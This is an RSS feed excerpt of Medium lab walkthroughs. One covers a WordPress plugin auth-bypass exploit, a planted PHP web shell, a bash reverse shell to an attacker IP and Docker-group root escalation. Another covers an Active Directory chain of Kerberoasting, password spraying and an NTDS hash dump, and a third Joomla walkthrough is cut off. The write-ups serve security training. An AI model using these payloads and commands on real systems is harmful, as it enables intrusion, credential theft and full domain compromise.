for?</em></strong>. Every API needs both, and it’s worth checking, endpoint by endpoint, that yours actually has them.</p><p><em>This testing was performed against VulnBank, an intentionally vulnerable application built for security education and training purposes.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a3bfc069a8b9" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/i-funded-a-strangers-bank-card-with-my-own-money-and-that-s-exactly-the-problem-a3bfc069a8b9">I Funded a Stranger’s Bank Card With My Own Money; and That’s Exactly the Problem</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack Smarter Labs — Dark: From Unauthenticated WordPress Bug to Root]]></title>
            <link>https://medium.com/@usman786faridi/hack-smarter-labs-dark-from-unauthenticated-wordpress-bug-to-root-fb6eee5ee048?source=rss-be4f74a9912e------2</link>
            <guid isPermaLink="false">https://medium.com/p/fb6eee5ee048</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Muhammad Usman Faridi]]></dc:creator>
            <pubDate>Tue, 14 Jul 2026 15:59:07 GMT</pubDate>
            <atom:updated>2026-07-14T15:59:07.076Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A Hack Smarter Labs walkthrough</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1JyrGDIdx6ef6-AB" /></figure><h3>The Brief</h3><p>Every pentest starts the same way, with almost nothing. This engagement was no different: a single IP address, VPN access to the network, and one objective: find every vulnerability on the host and prove impact by getting to root.</p><p>No credentials. No scope notes beyond <strong>“this one machine”. </strong>Just an ip address of the machine <strong>10.1.152.76</strong>.</p><h3>Step 1: Finding the Door</h3><p>The first move on any engagement is to figure out what’s actually running on the target. For me <strong>nmap </strong>has been the best (overall).</p><pre>nmap 10.1.152.76 -sV -Pn -sC -oN dark.txt</pre><ul><li>-sV — does version scanning on the target</li><li>-Pn — pings the target (send packets to the target, checks if it’s up and running)</li><li>-sC — performs script scan (invokes Nmap Scripting Engine)</li><li>-oN — saves your file</li></ul><pre>└─$ nmap 10.1.152.76 -sV -Pn -sC -oN dark.txt<br>Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-14 00:59 PKT<br>Nmap scan report for 10.1.152.76<br>Host is up (0.29s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 a2:fa:00:85:4c:0d:97:79:7b:46:e4:86:1b:18:72:19 (ECDSA)<br>|_  256 ea:8d:af:2f:ec:15:d9:32:c0:94:6f:09:03:49:60:36 (ED25519)<br>80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))<br>|_http-title: Dark &amp;#8211; Just another WordPress site<br>|_http-generator: WordPress 6.0<br>| http-robots.txt: 1 disallowed entry <br>|_/wp-admin/<br>|_http-server-header: Apache/2.4.52 (Ubuntu)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>Two open ports showed up.</p><ul><li>SSH on port 22 — it is a dead end without credentials.</li><li>Web page on port 80: a <strong>WordPress 6.0 </strong>site called <strong>“Dark”.</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*Ukgp9E-m-F8qZ9sjf7Nvdg.png" /><figcaption>Dark (Wordpress site)</figcaption></figure><ul><li>The <strong>robots.txt </strong>file even disallows <strong>/wp-admin/</strong>.</li></ul><p>WordPress running the show means one thing: it’s time to stop guessing and start enumerating.</p><h3>Step 2: Enumerating with WPScan</h3><p>WordPress’s biggest attack surface usually isn’t the core, it’s the plugins. So I pointed WPScan at the target with an API token for CVE mapping and forced it to actively hunt for installed plugins:</p><pre>wpscan --url http://10.1.152.76 --api-token &lt;redacted&gt; --enumerate p --plugins-detection mixed</pre><p>The scan came back with a plugin called <strong>modular-connector</strong>, flagged with two known vulnerabilities:</p><ul><li>One of them a critical <strong>Unauthenticated Privilege Escalation</strong></li></ul><pre>┌──<br>└─$ wpscan --url http://10.1.152.76 --api-token &lt;redacted&gt; --enumerate p --plugins-detection mixed<br>_______________________________________________________________<br>         __          _______   _____<br>         \ \        / /  __ \ / ____|<br>          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®<br>           \ \/  \/ / |  ___/ \___ \ / __|/ _` | &#39;_ \<br>            \  /\  /  | |     ____) | (__| (_| | | | |<br>             \/  \/   |_|    |_____/ \___|\__,_|_| |_|<br><br>         WordPress Security Scanner by the WPScan Team<br>                         Version 3.8.28<br>       Sponsored by Automattic - https://automattic.com/<br>       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart<br>[i] It seems like you have not updated the database for some time.<br> <br>[+] URL: http://10.1.152.76/ [10.1.152.76]<br>[+] Started: Tue Jul 14 01:10:53 2026<br><br>[+] modular-connector<br> | Location: http://10.1.152.76/wp-content/plugins/modular-connector/<br> | Last Updated: 2026-06-26T17:26:00.000Z<br> | Readme: http://10.1.152.76/wp-content/plugins/modular-connector/readme.txt<br> | [!] The version is out of date, the latest version is 3.0.2<br> |<br> | Found By: Known Locations (Aggressive Detection)<br> |  - http://10.1.152.76/wp-content/plugins/modular-connector/, status: 403<br> |<br> | [!] 2 vulnerabilities identified:<br> |<br> | [!] Title: Modular DS &lt; 2.5.2 - Unauthenticated Privilege Escalation<br> |     Fixed in: 2.5.2<br> |     References:<br> |      - https://wpscan.com/vulnerability/3ccaa0fd-b11c-4f9f-bab5-644a53b11035<br> |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23550<br> |      - https://patchstack.com/database/wordpress/plugin/modular-connector/vulnerability/wordpress-modular-ds-monitor-update-and-backup-multiple-websites-plugin-2-5-1-privilege-escalation-vulnerability</pre><p><strong>Unauthenticated Privilege escalation.</strong> Those two words next to each other on a pentest are the equivalent of finding a key taped under the doormat. This was the way in.</p><h3>Step 3: Walking In the Front Door (CVE-2026–23550)</h3><p>The vulnerability boils down to a logic flaw in how Modular DS validates requests. The plugin has a <strong>“direct request mode” </strong>meant for trusted, first-party traffic, triggered by passing <strong>origin=mo </strong>as a query parameter. When that mode kicks in, the plugin&#39;s auth middleware stops checking <strong><em>who</em> </strong>is making the request and only checks whether the <strong><em>site itself </em></strong>has an active Modular connection configured.</p><p>Combine that with the fact that the <strong>/login/{request} </strong>route defaults to logging in as the site administrator whenever no specific user ID is supplied and you get a login bypass that requires nothing more than a GET request.</p><pre>curl -i &quot;http://10.1.152.76/api/modular-connector/login/anything/?origin=mo&amp;type=foo&quot;</pre><pre>┌──(kali㉿kali)-[~/hacksmarter/Dark]<br>└─$ curl -i &quot;http://10.1.152.76/api/modular-connector/login/anything/?origin=mo&amp;type=foo&quot;<br>HTTP/1.1 302 Found<br>Date: Mon, 13 Jul 2026 20:26:06 GMT<br>Server: Apache/2.4.52 (Ubuntu)<br>Set-Cookie: wordpress_db49e7cd50c86434023b6331efb360e5=streetcoderadmin &lt;redacted&gt;; expires=Tue, 28-Jul-2026 08:26:06 GMT; Max-Age=1252800; path=/wp-admin; HttpOnly<br>Set-Cookie: wordpress_logged_in_db49e7cd50c86434023b6331efb360e5=streetcoderadmin &lt;redacted&gt;; expires=Tue, 28-Jul-2026 08:26:06 GMT; Max-Age=1252800; path=/; HttpOnly<br>X-Redirect-By: WordPress<br>Location: http://10.1.152.76/wp-admin/index.php<br>Content-Length: 0<br>Content-Type: text/html; charset=UTF-8</pre><p>That’s it!!</p><ul><li>One request, no credentials, and WordPress hands back a fully authenticated admin session cookie pair for the user <strong>streetcoderadmin</strong>.</li><li>Dropping those cookies into the browser and navigating to <strong>/wp-admin/plugins.php </strong>confirms it, we get full dashboard access.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5XQUvNzMOvMLDpvV4hkYsA.png" /><figcaption>Admin Panel (Dark)</figcaption></figure><h3>Step 4: Turning Admin Access into Code Execution</h3><p>Admin access on WordPress is really just one step away from remote code execution, and there are a dozen ways to get there:</p><ul><li>Plant a malicious plugin.</li><li>Edit a theme template and upload a crafted media file.</li></ul><p>The plugins page showed three installed plugins, only one of which <strong>(Modular Connector)</strong> was active.</p><p>Rather than reach for a third-party reverse shell plugin and deal with uploads, zip files, and file-size limits. I went with the simplest possible primitive.</p><p>WordPress let’s admins edit plugin source code directly from the dashboard. If I can write <strong>PHP </strong>into a file, the web server will execute, I don’t need to upload anything at all.</p><p>I opened the <strong>Hello Dolly</strong> plugin (a small, default WordPress plugin, perfect for this) and dropped in a single line:</p><pre>&lt;?php<br>if (isset($_GET[&#39;c&#39;])) { system($_GET[&#39;c&#39;]); }</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e-Kjz3ui6kyIpJSVH8VCkA.png" /><figcaption>Dropping a PHP into a file</figcaption></figure><p>Then activated the plugin so its file would actually load and confirm the code execution directly at:</p><pre>http://10.1.152.76/wp-content/plugins/hello-dolly/hello.php?c=id</pre><p>The response came back with a full <strong>uid</strong>/<strong>gid </strong>listing. Command execution, confirmed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*WAa4ftHIEG1Opylk_5E5vg.png" /><figcaption>uid’s and guid’s</figcaption></figure><h3>Step 5: Catching a Shell</h3><p>With confirmed code execution, getting an interactive shell was just a matter of swapping the payload.</p><p>Listener up:</p><pre>nc -lvnp 4445</pre><p>Payload triggered via the same parameter:</p><pre>http://10.1.152.76/wp-content/plugins/hello-dolly/hello.php?c=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.200.71.89/4445%200%3E%261%27</pre><p>A connection landed almost instantly, a shell as <strong>www-data</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*MGEw4jhIOkzV7hrq8_31-g.png" /><figcaption>Shell on the machine</figcaption></figure><p>The user flag was sitting right where you’d expect; at <strong>/var/www/user.txt</strong></p><h3>Step 6: The Group Membership That Changes Everything</h3><p>Landing a low-privilege shell is only half the job. The next move is always the same question: <em>what does this user have access to, that it shouldn’t?</em></p><p>Remember the id’s that showed up earlier when our command executed?</p><pre>www-data@dark:/var/www$ id<br>uid=33(www-data) gid=33(www-data) groups=33(www-data), 121(docker)</pre><p>Here is it <strong>www-data </strong>is a member of the <strong>docker </strong>group.</p><p>On paper, that sounds harmless. Docker just runs containers, right? In practice, group membership in <strong>docker </strong>is one of the most common and most overlooked misconfigurations that leads straight to root.</p><p>That&#39;s because talking to the Docker daemon <em>is</em> root-equivalent access, even if the user account itself has zero sudo rights.</p><p>A quick sanity check confirms daemon access:</p><pre>www-data@dark:/var/www$ docker ps<br>CONTAINER ID   IMAGE     COMMAND   CREATED   STATUS    PORTS     NAMES</pre><p>An empty list, returned without a permission error, is all the confirmation needed. If this user could talk to the daemon at all, the rest is academic.</p><h3>Step 7: Root, By Way of a Container</h3><p>Here’s the escalation, in a single line:</p><pre>docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/bash</pre><p>Breaking down exactly what’s happening:</p><ul><li><strong>docker run</strong> — spin up a new container</li><li><strong>-v /:/mnt</strong> — mount the <em>host&#39;s</em> entire root filesystem into the container at /mnt</li><li><strong>--rm</strong> — clean up the container automatically on exit</li><li><strong>-it</strong> — give it an interactive terminal</li><li><strong>alpine</strong> — use the small, fast Alpine Linux image</li><li><strong>chroot /mnt /bin/bash</strong> — redefine the container&#39;s root directory as the <em>host&#39;s</em> filesystem, then launch a shell inside it</li></ul><p><strong>Why this works?</strong></p><ul><li>Docker containers are isolated, they are not allowed to touch <strong>host</strong> files but that isolation is forced by <strong>docker daemon.</strong></li><li>But if the user is in the docker group, they can enforce anything (docker will happily do anything). Even if its mounting host disk into a container.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*LEc0K6dnQAKOffrj5bSXsA.png" /><figcaption>Root.txt</figcaption></figure><p>The root flag can be found at <strong>root/root.txt</strong></p><p><em>This lab was completed as part of Hack Smarter Labs. All IPs, flags, and identifying details are specific to the lab environment and hold no meaning outside of it.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fb6eee5ee048" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack Smarter — MartiniAD Walkthrough]]></title>
            <link>https://medium.com/@usman786faridi/hack-smarter-martiniad-walkthrough-a110c3b43252?source=rss-be4f74a9912e------2</link>
            <guid isPermaLink="false">https://medium.com/p/a110c3b43252</guid>
            <category><![CDATA[black-box-testing]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hack-smarter]]></category>
            <dc:creator><![CDATA[Muhammad Usman Faridi]]></dc:creator>
            <pubDate>Thu, 21 May 2026 13:45:52 GMT</pubDate>
            <atom:updated>2026-05-21T13:45:52.376Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rLP0DgO932HZlF_n" /></figure><h3>Background</h3><p>An adult beverage company “<strong>Martini Bars</strong>” recently had a corporate breach and the compliance and risk team dictates they perform a penetration test at one of their branch offices. The Hack Smarter team has been authorized to perform an internal black box pentest.</p><h3>Step 1: Initial Reconnaissance</h3><p>The first order of business in any internal pentest is figuring out what’s actually running on the target. A service scan against the domain controller at <strong>10.1.68.44</strong> revealed a classic Active Directory footprint:</p><pre>┌──(kali㉿kali)-[~/hacksmarter/maritiniAD]<br>└─$ nmap 10.1.68.44 -sV -A -oN maritini.txt                                  <br>Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-21 16:33 PKT<br>Nmap scan report for 10.1.68.44<br>Host is up (0.22s latency).<br>Not shown: 987 filtered tcp ports (no-response)<br>PORT     STATE SERVICE       VERSION<br>53/tcp   open  domain        Simple DNS Plus<br>88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-21 11:33:55Z)<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: DRY.MARTINI.BARS0., Site: Default-First-Site-Name)<br>445/tcp  open  microsoft-ds?<br>464/tcp  open  kpasswd5?<br>593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  tcpwrapped<br>3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: DRY.MARTINI.BARS0., Site: Default-First-Site-Name)<br>3269/tcp open  tcpwrapped<br>3389/tcp open  ms-wbt-server<br>| rdp-ntlm-info: <br>|   Target_Name: DRY<br>|   NetBIOS_Domain_Name: DRY<br>|   NetBIOS_Computer_Name: DC01<br>|   DNS_Domain_Name: DRY.MARTINI.BARS<br>|   DNS_Computer_Name: DC01.DRY.MARTINI.BARS</pre><p>The <strong>ldap</strong> banner immediately gave away the domain name: <strong>DRY.MARTINI.BARS</strong>, with the machine identifying itself as <strong>DC01</strong>. We were clearly looking at a domain controller.</p><h3>Step 2: SMB Enumeration; A Surprising Find</h3><p>With no credentials in hand, the logical next step was to probe SMB and see how generous the server was feeling. Enumerating shares as a guest user revealed something unexpected. A share called <strong>notes</strong> had full <strong>READ and WRITE</strong> permissions, open to anyone.</p><pre>┌──(kali㉿kali)-[~]<br>└─$ nxc smb 10.1.68.44 -u &#39;guest&#39; -p &#39;&#39; --shares<br>SMB         10.1.68.44      445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:DRY.MARTINI.BARS) (signing:True) (SMBv1:False) <br>SMB         10.1.68.44      445    DC01             [+] DRY.MARTINI.BARS\guest: <br>SMB         10.1.68.44      445    DC01             [*] Enumerated shares<br>SMB         10.1.68.44      445    DC01             Share           Permissions     Remark<br>SMB         10.1.68.44      445    DC01             -----           -----------     ------<br>SMB         10.1.68.44      445    DC01             ADMIN$                          Remote Admin<br>SMB         10.1.68.44      445    DC01             C$                              Default share<br>SMB         10.1.68.44      445    DC01             IPC$            READ            Remote IPC<br>SMB         10.1.68.44      445    DC01             NETLOGON                        Logon server share <br>SMB         10.1.68.44      445    DC01             notes           READ,WRITE      <br>SMB         10.1.68.44      445    DC01             SYSVOL                          Logon server share</pre><p>Connecting via <strong>smbclient</strong> and browsing the share, turned up a plain text file (named as notes). Inside it was a set of credentials left behind in cleartext. An unfortunately common mistake in real-world environments.</p><pre>┌──(kali㉿kali)-[~]<br>└─$ smbclient //10.1.68.44/notes            <br>Password for [WORKGROUP\kali]:<br>Try &quot;help&quot; to get a list of possible commands.<br>smb: \&gt; ls<br>  .                                   D        0  Thu May 21 16:35:05 2026<br>  ..                                DHS        0  Sat Jan 17 21:38:33 2026<br>  notes.txt                           A      129  Sat Jan 17 21:38:47 2026<br><br>                7731967 blocks of size 4096. 1539859 blocks available<br>smb: \&gt; more notes.txt<br>creds<br>mprice:&lt;REDACTED&gt;</pre><h3>Step 3: Validating Credentials &amp; Kerberoasting</h3><p>The discovered credentials were validated against SMB and confirmed as active. With a valid domain account now in hand, attention turned to Kerberos.</p><pre>┌──(kali㉿kali)-[~]<br>└─$ nxc smb 10.1.68.44 -u &#39;mprice&#39; -p &#39;&lt;REDACTED&gt;&#39; --shares<br>SMB         10.1.68.44      445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:DRY.MARTINI.BARS) (signing:True) (SMBv1:False) <br>SMB         10.1.68.44      445    DC01             [+] DRY.MARTINI.BARS\mprice:&lt;REDACTED&gt; <br>SMB         10.1.68.44      445    DC01             [*] Enumerated shares<br>SMB         10.1.68.44      445    DC01             Share           Permissions     Remark<br>SMB         10.1.68.44      445    DC01             -----           -----------     ------<br>SMB         10.1.68.44      445    DC01             ADMIN$                          Remote Admin<br>SMB         10.1.68.44      445    DC01             C$                              Default share<br>SMB         10.1.68.44      445    DC01             IPC$            READ            Remote IPC<br>SMB         10.1.68.44      445    DC01             NETLOGON        READ            Logon server share <br>SMB         10.1.68.44      445    DC01             notes           READ,WRITE      <br>SMB         10.1.68.44      445    DC01             SYSVOL          READ            Logon server share</pre><p>Running a <strong>Kerberoasting</strong> attack via LDAP returned a service ticket for an account called <strong>ATHENA_SVC</strong>.</p><pre>┌──(kali㉿kali)-[~/hacksmarter/maritiniAD]<br>└─$ nxc ldap DRY.MARTINI.BARS -u &#39;mprice&#39; -p &#39;&lt;REDACTED&gt;&#39; --kerberoasting kerb.hash<br>LDAP        10.1.68.44      389    DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:DRY.MARTINI.BARS)<br>LDAP        10.1.68.44      389    DC01             [+] DRY.MARTINI.BARS\mprice:&lt;REDACTED&gt;<br>LDAP        10.1.68.44      389    DC01             [*] Skipping disabled account: krbtgt<br>LDAP        10.1.68.44      389    DC01             [*] Total of records returned 1<br>LDAP        10.1.68.44      389    DC01             [*] sAMAccountName: ATHENA_SVC, memberOf: [&#39;CN=Remote Management Users,CN=Builtin,DC=DRY,DC=MARTINI,DC=BARS&#39;, &#39;CN=Remote Desktop Users,CN=Builtin,DC=DRY,DC=MARTINI,DC=BARS&#39;], pwdLastSet: 2026-01-20 23:20:32.856622, lastLogon: &lt;never&gt;<br>LDAP        10.1.68.44      389    DC01             $krb5tgs$23$*ATHENA_SVC$DRY.MARTINI.BARS$DRY.MARTINI.BARS\ATHENA_SVC*&lt;REDACTED&gt;*</pre><p>Kerberoasting works by requesting Kerberos service tickets for accounts with Service Principal Names (SPNs) registered — tickets that are encrypted with the account&#39;s password hash and can be cracked offline.</p><p>The returned hash was fed into <strong>Hashcat</strong> with the <strong>rockyou.txt</strong> wordlist, and the password cracked successfully.</p><pre>┌──(kali㉿kali)-[~/hacksmarter/maritiniAD]<br>└─$ hashcat kerb.hash /usr/share/wordlists/rockyou.txt<br>hashcat (v7.1.2) starting in autodetect mode<br><br>&lt;HASH&gt;:&lt;REDACTED&gt;</pre><h3>Step 4: Password Reuse — Expanding Access</h3><p>With six domain users identified through LDAP enumeration, a <strong>password spray</strong> was performed using the newly cracked password. The goal was to check whether any other accounts shared the same password — a habit that’s surprisingly common, especially with service accounts that have a corresponding admin account.</p><pre>┌──(kali㉿kali)-[~/hacksmarter/maritiniAD]<br>└─$ nxc ldap DRY.MARTINI.BARS -u &#39;ATHENA_SVC&#39; -p &#39;&lt;REDACTED&gt;&#39; --users-export users.txt<br>LDAP        10.1.68.44      389    DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:DRY.MARTINI.BARS)<br>LDAP        10.1.68.44      389    DC01             [+] DRY.MARTINI.BARS\ATHENA_SVC:&lt;REDACTED&gt; <br>LDAP        10.1.68.44      389    DC01             [*] Enumerated 6 domain users: DRY.MARTINI.BARS<br>LDAP        10.1.68.44      389    DC01             -Username-                    -Last PW Set-       -BadPW-  -Description-                                           <br>LDAP        10.1.68.44      389    DC01             Administrator                 2026-01-12 21:00:19 2        Built-in account for administering the computer/domain  <br>LDAP        10.1.68.44      389    DC01             Guest                         &lt;never&gt;             0        Built-in account for guest access to the computer/domain<br>LDAP        10.1.68.44      389    DC01             krbtgt                        2026-01-17 06:19:20 0        Key Distribution Center Service Account                 <br>LDAP        10.1.68.44      389    DC01             mprice                        2026-01-17 21:40:55 0                                                                <br>LDAP        10.1.68.44      389    DC01             athena.t0                     2026-01-20 23:20:44 0                                                                <br>LDAP        10.1.68.44      389    DC01             ATHENA_SVC                    2026-01-20 23:20:32 0                                                                <br>LDAP        10.1.68.44      389    DC01             [*] Writing 6 local users to users.txt</pre><p>The spray hit: a user named <strong>athena.t0</strong>, was tied to the <strong>ATHENA_SVC </strong>service account, were using the exact same password.</p><pre>┌──(kali㉿kali)-[~/hacksmarter/maritiniAD]<br>└─$ nxc smb DRY.MARTINI.BARS -u users.txt  -p &#39;&lt;REDACTED&gt;&#39; --continue-on-success                 <br>SMB         10.1.68.44      445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:DRY.MARTINI.BARS) (signing:True) (SMBv1:False) <br>SMB         10.1.68.44      445    DC01             [-] Connection Error: The NETBIOS connection with the remote host timed out.<br>SMB         10.1.68.44      445    DC01             [-] Connection Error: The NETBIOS connection with the remote host timed out.<br>SMB         10.1.68.44      445    DC01             [-] Connection Error: The NETBIOS connection with the remote host timed out.<br>SMB         10.1.68.44      445    DC01             [-] Connection Error: The NETBIOS connection with the remote host timed out.<br>SMB         10.1.68.44      445    DC01             [+] DRY.MARTINI.BARS\athena.t0:&#39;&lt;REDACTED&gt; (Pwn3d!)<br>SMB         10.1.68.44      445    DC01             [+] DRY.MARTINI.BARS\ATHENA_SVC:&#39;&lt;REDACTED&gt;</pre><p>The (Pwn3d!) flag from <strong>nxc </strong>said it all — this was a domain admin account.</p><pre>┌──(kali㉿kali)-[~/hacksmarter/maritiniAD]<br>└─$ nxc smb DRY.MARTINI.BARS -u &#39;athena.t0&#39; -p &#39;&lt;REDACTED&gt;&#39; --shares<br>SMB         10.1.68.44      445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:DRY.MARTINI.BARS) (signing:True) (SMBv1:False) <br>SMB         10.1.68.44      445    DC01             [+] DRY.MARTINI.BARS\athena.t0:&lt;REDACTED&gt; (Pwn3d!)<br>SMB         10.1.68.44      445    DC01             [*] Enumerated shares<br>SMB         10.1.68.44      445    DC01             Share           Permissions     Remark<br>SMB         10.1.68.44      445    DC01             -----           -----------     ------<br>SMB         10.1.68.44      445    DC01             ADMIN$          READ,WRITE      Remote Admin<br>SMB         10.1.68.44      445    DC01             C$              READ,WRITE      Default share<br>SMB         10.1.68.44      445    DC01             IPC$            READ            Remote IPC<br>SMB         10.1.68.44      445    DC01             NETLOGON        READ,WRITE      Logon server share <br>SMB         10.1.68.44      445    DC01             notes           READ,WRITE      <br>SMB         10.1.68.44      445    DC01             SYSVOL          READ,WRITE      Logon server share</pre><h3>Step 5: Full Domain Compromise</h3><p>With domain admin access confirmed, the NTDS database was targeted to dump account hashes — including the <strong>krbtgt</strong> account hash.</p><pre>──(kali㉿kali)-[~/hacksmarter/maritiniAD]<br>└─$ nxc smb DRY.MARTINI.BARS -u &#39;athena.t0&#39; -p &#39;&lt;REDACTED&gt;&#39; --ntds --user krbtgt<br>SMB         10.1.68.44      445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:DRY.MARTINI.BARS) (signing:True) (SMBv1:False) <br>SMB         10.1.68.44      445    DC01             [+] DRY.MARTINI.BARS\athena.t0:&lt;REDACTED&gt; (Pwn3d!)<br>SMB         10.1.68.44      445    DC01             [+] Dumping the NTDS, this could take a while so go grab a redbull...<br>SMB         10.1.68.44      445    DC01             krbtgt:502:aad3b435b51404eeaad3b435b51404ee:&lt;REDACTED&gt;:::<br>SMB         10.1.68.44      445    DC01             [+] Dumped 1 NTDS hashes to /home/kali/.nxc/logs/ntds/DC01_10.1.68.44_2026-05-21_173012.ntds of which 1 were added to the database<br>SMB         10.1.68.44      445    DC01             [*] To extract only enabled accounts from the output file, run the following command: <br>SMB         10.1.68.44      445    DC01             [*] cat /home/kali/.nxc/logs/ntds/DC01_10.1.68.44_2026-05-21_173012.ntds | grep -iv disabled | cut -d &#39;:&#39; -f1<br>SMB         10.1.68.44      445    DC01             [*] grep -iv disabled /home/kali/.nxc/logs/ntds/DC01_10.1.68.44_2026-05-21_173012.ntds | cut -d &#39;:&#39; -f1</pre><p>The <strong>krbtgt</strong> hash is the crown jewel of an Active Directory environment. Possessing it allows an attacker to forge <strong>Golden Tickets (</strong>Kerberos tickets that grant persistent, unrestricted access to any resource in the domain, even if passwords are later changed).</p><p>At this point, the domain was fully compromised.</p><h3>Summary of the Attack Chain</h3><pre>Guest SMB Access<br>      ↓<br>Cleartext credentials in open share (mprice)<br>      ↓<br>Kerberoasting → ATHENA_SVC credentials<br>      ↓<br>Password Spray → athena.t0 (Domain Admin)<br>      ↓<br>NTDS Dump → krbtgt hash → Full Domain Compromise</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a110c3b43252" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Samurai — Hack Smarter Labs Walkthrough]]></title>
            <link>https://medium.com/@usman786faridi/samurai-hack-smarter-labs-walkthrough-311e4017e241?source=rss-be4f74a9912e------2</link>
            <guid isPermaLink="false">https://medium.com/p/311e4017e241</guid>
            <category><![CDATA[command-injection]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[joomla]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hack-smarter]]></category>
            <dc:creator><![CDATA[Muhammad Usman Faridi]]></dc:creator>
            <pubDate>Sun, 03 May 2026 23:05:17 GMT</pubDate>
            <atom:updated>2026-05-03T23:05:17.482Z</atom:updated>
            <content:encoded><![CDATA[<p>From a hidden login page to a root shell; one misconfiguration at a time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YWVCMEs2Oo4h0gK7" /></figure><h3>Introduction</h3><p>In this walkthrough, we will be going through the <strong>Samurai</strong> machine from <strong>Hack Smarter Labs</strong>. Our goal is to enumerate the target, gain initial access, and escalate our privileges all the way to root. No credentials are provided at the start; we have to find enumerate everything ourselves.</p><h3>Step 1: Scanning the Target</h3><p>The first thing we do in any penetration test is <strong>scan the target</strong> to see what services are running. Think of it like knocking on doors to see which ones are open.</p><p>We use a tool called <strong>Nmap</strong> for this:</p><pre>nmap samurai.hsm -sV -A -oN samurai_scan.txt</pre><ul><li><strong>-sV — </strong>version scanning</li><li><strong>-A </strong>— enumerate everything on the given domain</li><li><strong>-oN </strong>— used to save your results in a file</li></ul><p><strong>Results:</strong></p><pre>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 c3:5a:83:50:80:9a:61:37:05:b7:45:96:cb:ab:1d:1e (ECDSA)<br>|_  256 6b:15:12:60:1b:21:d1:bf:7e:b8:c0:e8:d7:7e:7b:6b (ED25519)<br>80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))<br>|_http-title: Samurai<br>|_http-server-header: Apache/2.4.52 (Ubuntu)</pre><p>We found <strong>two open ports:</strong></p><ul><li><strong>Port 22</strong> — SSH (used to remotely log into a machine)</li><li><strong>Port 80</strong> — HTTP (a webpage is being hosted)</li></ul><p>Let’s explore the webpage first.</p><h3>Step 2: Exploring the Webpage</h3><p>We visit <strong>http://samurai.hsm </strong>in our browser and see a static webpage, nothing interactive or useful at first glance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5bjLW1OdcqR87DTFzg8jAA.png" /><figcaption>Samurai.hsm</figcaption></figure><p>Since there’s nothing obvious, our next step is to <strong>brute-force for hidden directories, </strong>basically guessing common folder names to see if anything is hidden. We use a tool called <strong>dirsearch</strong> for this:</p><pre>dirsearch -u http://10.1.128.43/</pre><p>We discover something interesting:</p><p>Administrator access is accessible.</p><pre>[20:08:13] 301 -  318B  - /administrator -&gt; http://10.1.128.43/administrator/<br>[20:08:20] 404 -  54B  - /api/version                                      <br>[20:08:21] 200 -  4KB - /administrator/                                   <br>[20:08:21] 200 -  4KB - /administrator/index.php</pre><p>We visited it and find a <strong>Joomla CMS login page.</strong></p><figure><img alt="" 